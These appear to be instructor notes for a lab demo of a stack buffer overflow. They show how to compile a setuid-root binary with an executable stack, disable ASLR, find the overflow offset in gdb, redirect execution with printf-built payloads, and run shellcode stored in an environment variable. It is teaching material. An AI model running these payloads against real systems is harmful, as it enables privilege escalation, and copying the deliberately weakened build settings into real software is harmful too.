```
sudo ip addr add 192.168.0.200/255.255.255.0 broadcast + dev enp0s25
```
------------- Preparing Vulnerable Executable (optional)

```
gcc overflow.c -z execstack -o overflow
sudo chown root:pi overflow
sudo chmod 4755 overflow
```

------------- Start Here -------------

# Disable Address Space Layout Randomization
```
sudo sysctl kernel.randomize_va_space=0
```

# Start GNU debugger
```
gdb -q ./overflow
```

# Dissasemble main function
```
disass main
```
- Explain function prologue and epilogue a little bit
- Look at function calls in main and find vulnerable function call

# Disassemble vulnerable function
```
disass 0x104ec
```
- Note the function epilogue and prologue
- Note the function call to strcpy
- We now know main calls another function called vulnerable, let's run the program
  and see what happens

# Run program with no argument
```
run
```
- Segmentaton fault...let's try again but with an argument

# Run program with argument
```
run hello?
```
- We can see the program took the argument passed it to the vulnerable function which
  copied it to a buffer using strcpy() then printed it
- strcpy is vulnerable....

# Run program with long output
```
run AAAABBBBCCCCDDDDEEEEFFFF
```
- woops! segmentation fault, the program tried to return to an invalid address
- 0x45 is actually E in ascii, this means it took us 16 characters before we started overwriting addresses on the stack, in particular we overwrote the PROGRAM COUNTER
- At this point we know the program is vulnerable and we know how many characters we need
  to write to start overflowing the buffer

# Learn a little more about the program, print out all available functions the program has

```
ctrl+d
gdb -q ./overflow
info func
```

- We can see there is a function in our program called IShouldNeverBeCalled
- Let's try to call it

# Overflow our buffer with 16 characters followed by the address of IShouldNeverBeCalled

# Explain little endian format of the address

```
run $(printf "AAAABBBBCCCCDDDD\xd0\04\x01")
```

- We succesfully overflowed the buffer and overwrote the address that the PC points to
  with the address of a random function
- Let's try to get this vulnerable program to execute shellcode

- We can store our shellcode in an environment variable, get the address of that environment variable then overflow our buffer with that address

# If we look at the bottom of the stack we can see that environment variables are stored there

```
b main
run
x/20s $sp + 0x900
quit
```

- We can see a program inherits the parent processes environment variables and stores them on the stack

# Show them the source code for the vulnerable program we just spent time debugging

```
vim overflow.c
```

# Let's get our shellcode, store it in an environment variable, then overflow the buffer

```
export PWN=$(cat uid.bin)
./getenv PWN ./overflow
./overflow  $(printf "AAAABBBBCCCCDDDD\x70\xfe\xff\x7e")
```